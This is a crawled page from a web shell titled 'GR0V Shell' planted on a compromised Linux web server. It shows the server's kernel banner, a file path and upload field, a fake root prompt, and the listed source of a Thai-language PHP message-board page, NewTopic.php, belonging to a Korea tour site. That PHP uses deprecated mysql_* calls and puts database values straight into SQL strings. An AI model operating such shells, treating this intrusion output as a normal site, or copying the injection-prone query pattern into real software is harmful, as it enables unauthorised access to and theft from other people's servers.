? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.com/private_html/happyezystyle/
File Upload :
Current File : /home/admin/domains/happytokorea.com/private_html/happyezystyle/NewTopic.php

<? include("header.php");?><table width="1000" border="0" align="center" cellpadding="0" cellspacing="0">
  <!-- fwtable fwsrc="Untitled" fwbase="home.jpg" fwstyle="Dreamweaver" fwdocid = "742308039" fwnested="0" -->
  <tr>
   <td><img src="images/spacer.gif" width="423" height="1" border="0" alt=""></td>
   <td><img src="images/spacer.gif" width="16" height="1" border="0" alt=""></td>
   <td><img src="images/spacer.gif" width="225" height="1" border="0" alt=""></td>
   <td><img src="images/spacer.gif" width="315" height="1" border="0" alt=""></td>
   <td><img src="images/spacer.gif" width="21" height="1" border="0" alt=""></td>
   <td><img src="images/spacer.gif" width="1" height="1" border="0" alt=""></td>
  </tr>

  
  <tr>
    <td colspan="5" bgcolor="#FFFFFF"><div align="center"> 
        <table width="100%" border="0" cellspacing="0" cellpadding="0">
          <tr valign="top"> 
            <td width="190"><table width="100%" border="0" cellspacing="1" cellpadding="1">
                <tr>
                  <td><div align="center"> <? echo "$showmember"; ?></div></td>
                </tr>
                <tr> 
                  <td><img src="images/index_09.jpg" width="224" height="41" alt=""></td>
                </tr>
                <tr> 
                  <td> 
                    <?
$page = $_GET['page'];
$select_type="select * from productstype  order by id asc";
$query_select=mysql_query($select_type);
$num_rows=mysql_num_rows($query_select);

if($num_rows<1){
echo "<br><br><center><b>ยังไม่มีการเพิ่มข้อมูลค่ะ</b></center>";
}else{
		$select="select * from productstype  order by id asc";
		$q_ry = mysql_query($select);
	 	$num_rows=mysql_num_rows($q_ry);
  		$pagesize=20;
		$rt=$num_rows%$pagesize;
		if($rt!=0)
			{
				$totalpage=floor($num_rows/$pagesize)+1;
			}
		else
			{
				$totalpage=floor($num_rows/$pagesize);
				$toppic_id=1;
			}
		if(empty($page))
			{
				$page=1;
			}
		mysql_free_result($q_ry);
		$goto=($page-1)*$pagesize;
$sql_select_mem="Select * From productstype  order by id asc limit $goto,$pagesize";
		$fect=mysql_query($sql_select_mem);
		if(!$fect)
		{
		("ติดต่อฐานข้อมูลไม่ได้".mysql_error());
		exit;
		}

	  $bgcount=0;
	while($rows=mysql_fetch_array($fect))
	{
$idx =$rows['id'];
$productstypecode  =$rows['productstypecode'];
$productstypename = $rows['productstypename'];
$bgcount=$bgcount+1;
$bgmod=$bgcount%2;
if($bgmod==0){
	$bgcolor="#E9E9E8";
}else{
	$bgcolor="#FFFFFF";
}

$s_num="select * from products where productstypecode = '$productstypecode'";
$query_select_num=mysql_query($s_num);
$snum=mysql_num_rows($query_select_num);
	?>
                    <table width="100%" border="0" cellspacing="1" cellpadding="1">
                      <tr> 
                        <td height="23"> <div align="left"></div>
                          <div align="left"></div>
                          <div align="center"> </div>
                          <div align="left"><img src="images/bullet/bt03.gif" width="14" height="14"><? echo "<a href=ProductList.php?PRD=$productstypecode>$productstypename</a> ($snum)"; ?></div></td>
                      </tr>
                      <tr> 
                        <td height="5"><img src="images/inline.jpg" width="184" height="3"></td>
                      </tr>
                    </table>
                    <?
}
}
?>                  </td>
                </tr>
                <tr> 
                  <td>&nbsp;</td>
                </tr>
            </table></td>
            <td><table width="100%" border="0" cellspacing="1" cellpadding="1">
                <tr> 
                  <td><strong>กระดานข่าว</strong></td>
                </tr>
                <tr> 
                  <td><table width="99%" border="0" cellspacing="1" cellpadding="1">
                      <tr> 
                        <td><table width="100%" border="0" cellspacing="4" cellpadding="4">
                            <tr> 
                              <td><table width="100%" border="0" cellspacing="1" cellpadding="1">
                                  <tr> 
                                    <td><table width="41%" border="0" cellspacing="3" cellpadding="3">
                                        <tr> 
                                          <td width="49%" background="images/bg.jpg"> 
                                            <div align="center"><a href="index.php">หัวข้อทั้งหมด</a></div></td>
                                          <td width="51%" background="images/bg.jpg"> 
                                            <div align="center"><a href="NewTopic.php">เริ่มหัวข้อใหม่</a></div></td>
                                        </tr>
                                      </table></td>
                                  </tr>
                                  <tr> 
                                    <td><table width="100%" border="0" cellspacing="1" cellpadding="1">
                                        <tr> 
                                          <td><script language="JavaScript">
function checkpost()
{
      var v1 = document.webForm.topic.value;
      var v2 = document.webForm.message.value;
	  var v3 = document.webForm.name.value;
	  var v4 = document.webForm.textcode.value;
  if( v1.length==0)
           {
           alert("กรุณาระบุหัวข้อกระทู้ของคุณด้วยค่ะ");
           document.webForm.topic.focus();           
           return false;
           }
	else if ( v2.length==0)
           {
           alert("กรุณาระบุข้อความด้วยค่ะ");
           document.webForm.message.focus();           
           return false;
           }
 else if ( v3.length==0)
           {
           alert("กรุณาระบุ ชื่อผู้ตั้งด้วยค่ะ");
           document.webForm.name.focus();           
           return false;
           }
   	else if ( v4.length==0)
           {
           alert("กรุณาระบุ Text Code ด้วยค่ะ");
           document.webForm.textcode.focus();           
           return false;
           }
         else
           return true;
}

				  	function chkEmail(){
					if(document.webForm.email.value!=""){
						if (document.webForm.email.value.match(/.+@.+\..+/) == null) {
							alert("กรุณากรอก E-Mail ให้ถูกต้อง");
							document.webForm.email.focus();
						  }
						}  
					}

function check_number(ch){
var len, digit;
if(ch == " "){ 
return false;
len=0;
}else{
len = ch.length;
}
for(var i=0 ; i<len ; i++)
{
digit = ch.charAt(i)
if(digit >="0" && digit <="9"){
; 
}else{
return false; 
} 
} 
return true;
}


function checkvalue()
{
if(!check_number(document.webForm.phone.value) || document.webForm.phone.value == "" )
{
alert('กรุณากรอกหมายเลขโทรศัพท์เป็นตัวเลขเท่านั้นค่ะ');
document.webForm.phone.focus();    
return false;
}
else{return true;}
}
</script> <table width="99%" border="0" align="center" cellpadding="1" cellspacing="1" class="taladcr">
                                              <form method="post" action="SaveTopic.php" name="webForm" onSubmit="return checkpost()" enctype="multipart/form-data">
                                                <tr> 
                                                  <td colspan="2"><div align="center">กรุณาใส่ให้ครบตามที่เครื่องหมาย 
                                                      <strong>*</strong> 
                                                      ระบุ</div></td>
                                                </tr>
                                                <tr> 
                                                  <td colspan="2" bgcolor="#FFCCFF"><span class="style1">
                                                    รายละเอียด</span></td>
                                                </tr>
                                                <tr> 
                                                  <td colspan="2"> <div align="right"></div>
                                                    <div align="left">
                                                      หัวข้อกระทู้ <br>
                                                      <input name="topic" type=text id="topic" size="75" class="inputxx">
                                                      <strong>*</strong>                                                      </div></td>
                                                </tr>
                                                <tr> 
                                                  <td colspan="2"> <div align="right"></div>
                                                      
                                                    รายละเอียด 
                                                   <br>
                                                    <textarea name="message" cols="65" rows="15"  class="input" id="textarea"></textarea>
                                                    <strong>*</strong>                                                    </td>
                                                </tr>
                                                <tr> 
                                                  <td colspan="2"> <div align="right"></div>
                                                     
                                                    
                                                    ชื่อผู้ตั้ง 
                                                    <br>
                                                    <input name="name" type=text  class="inputxx" id="name2" size="25">
                                                    <strong>*</strong>                                                    </td>
                                                </tr>
                                                <tr> 
                                                  <td colspan="2"> <div align="right"></div>
                                                     
                                                    โทรศัพท์ 
                                                    <br>
                                                     
                                                    <input name="phone" type="text" class="inputxx" id="phone" size=30 / onblur="checkvalue()">                                                     </td>
                                                </tr>
                                                <tr> 
                                                  <td colspan="2"> <div align="right"></div>
                                                     
                                                     Email 
                                                    <br>
                                                     
                                                    <input name="email" type="text" id="email4" value="" size="30" / onblur="chkEmail()" class="inputxx">                                                     </td>
                                                </tr>
                                                <tr> 
                                                  <td width="19%">&nbsp;</td>
                                                  <td width="81%">  
                                                    <? 
require_once "token.php";
$code = randomToken(5);
echo "<b>$code</b>"; 
?>
                                                    <input name="code" type="hidden" class="td3" id="code" size="8" value=<? echo "$code"; ?>>
                                                    <input name="textcode" type="text"  class="inputxx" id="textcode" size="8" maxlength="5">
                                                    <em>** 
                                                    ใส่อักษร 5 ตัวที่ท่านเห็น 
                                                    ** </em><em><strong>*</strong></em></td>
                                                </tr>
                                                <tr> 
                                                  <td>&nbsp;</td>
                                                  <td> 
                                                    <input name="submit" type="submit" class="submitxx" value="ตั้งกระทู้!">                                                    </td>
                                                </tr>
                                              </form>
                                            </table>
                                            <script language="javascript1.2">
var config = new Object();    // create new config object

config.width = "600px";
config.height = "500px";
config.bodyStyle = 'background-color: white; font-family: "Verdana"; font-size: x-small;';
config.debug = 0;

// NOTE:  You can remove any of these blocks and use the default config!

config.toolbar = [
    ['fontname'],
    ['fontsize'],
    ['fontstyle'],
    ['linebreak'],
    ['bold','italic','underline','separator'],
//  ['strikethrough','subscript','superscript','separator'],
    ['justifyleft','justifycenter','justifyright','separator'],
    ['OrderedList','UnOrderedList','Outdent','Indent','separator'],
    ['forecolor','backcolor','separator'],
    ['HorizontalRule','Createlink','InsertImage','htmlmode','separator'],
    ['about','help','popupeditor'],
];

config.fontnames = {
    "Arial":           "arial, helvetica, sans-serif",
    "Tahoma":     "Tahoma, courier, mono",
    "Georgia":         "Georgia, Times New Roman, Times, Serif",
    "Tahoma":          "Tahoma, Arial, Helvetica, sans-serif",
    "Times New Roman": "times new roman, times, serif",
    "Verdana":         "Verdana, Arial, Helvetica, sans-serif",
    "impact":          "impact",
    "WingDings":       "WingDings"
};
config.fontsizes = {
    "1 (12 pt)": "3",
    "2 (14 pt)": "4",
    "3 (18 pt)": "5",
    "4 (24 pt)": "6",
    "5 (36 pt)": "7"
  };

//config.stylesheet = "http://www.domain.com/sample.css";
  
config.fontstyles = [   // make sure classNames are defined in the page the content is being display as well in or they won't work!
  { name: "headline",     className: "headline",  classStyle: "font-family: arial black, arial; font-size: 28px; letter-spacing: -2px;" },
  { name: "arial red",    className: "headline2", classStyle: "font-family: arial black, arial; font-size: 12px; letter-spacing: -2px; color:red" },
  { name: "verdana blue", className: "headline4", classStyle: "font-family: verdana; font-size: 18px; letter-spacing: -2px; color:blue" }

// leave classStyle blank if it's defined in config.stylesheet (above), like this:
//  { name: "verdana blue", className: "headline4", classStyle: "" }  
];

editor_generate('message',config);
</script></td>
                                        </tr>
                                      </table></td>
                                  </tr>
                                </table></td>
                            </tr>
                          </table>
                          <strong></strong></td>
                      </tr>
                    </table></td>
                </tr>
              </table></td>
          </tr>
        </table>
      </div></td>
   <td><img src="images/spacer.gif" width="1" height="25" border="0" alt=""></td>
  </tr>
</table><? include("footer.php");?>
</body>
</html>

T1KUS90T
  root-grov@210.1.60.28:~$